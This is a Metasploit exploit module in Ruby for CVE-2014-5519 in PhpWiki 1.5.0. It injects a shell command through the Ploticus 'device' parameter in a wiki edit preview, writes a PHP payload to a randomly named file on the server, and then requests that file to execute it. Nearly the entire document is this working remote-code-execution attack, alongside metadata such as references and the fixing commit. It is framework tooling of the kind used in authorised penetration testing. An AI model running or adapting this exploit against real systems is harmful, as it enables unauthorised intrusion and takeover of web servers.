##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Phpwiki Ploticus Remote Code Execution',
'Description' => %q{
The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary
code via command injection.
},
'Author' =>
[
'Benjamin Harris', # Discovery and POC
'us3r777 <us3r777[at]n0b0.so>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-5519' ],
[ 'OSVDB', '110576' ],
[ 'EDB', '34451'],
[ 'URL', 'https://sourceforge.net/p/phpwiki/code/8974/?page=1' ], # This commit prevents exploitation
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/77' ] # The day the vuln went public
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 11 2014'))
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']) ,
], self.class)
end
def exploit
uri = target_uri.path
payload_name = "#{rand_text_alpha(8)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)
res = send_request_cgi({
'uri' => normalize_uri(uri + '/index.php/HeIp'),
'method' => 'POST',
'vars_post' =>
{
'pagename' => 'HeIp',
'edit[content]' => "<<Ploticus device=\";echo '#{php_payload}' > #{payload_name};\" -prefab= -csmap= data= alt= help= >>",
'edit[preview]' => 'Preview',
'action' => 'edit'
}
})
if not res or res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
upload_uri = normalize_uri(uri + "/" + payload_name)
print_status("#{peer} - Executing payload #{payload_name}")
send_request_raw({
'uri' => upload_uri,
'method' => 'GET'
})
end
end
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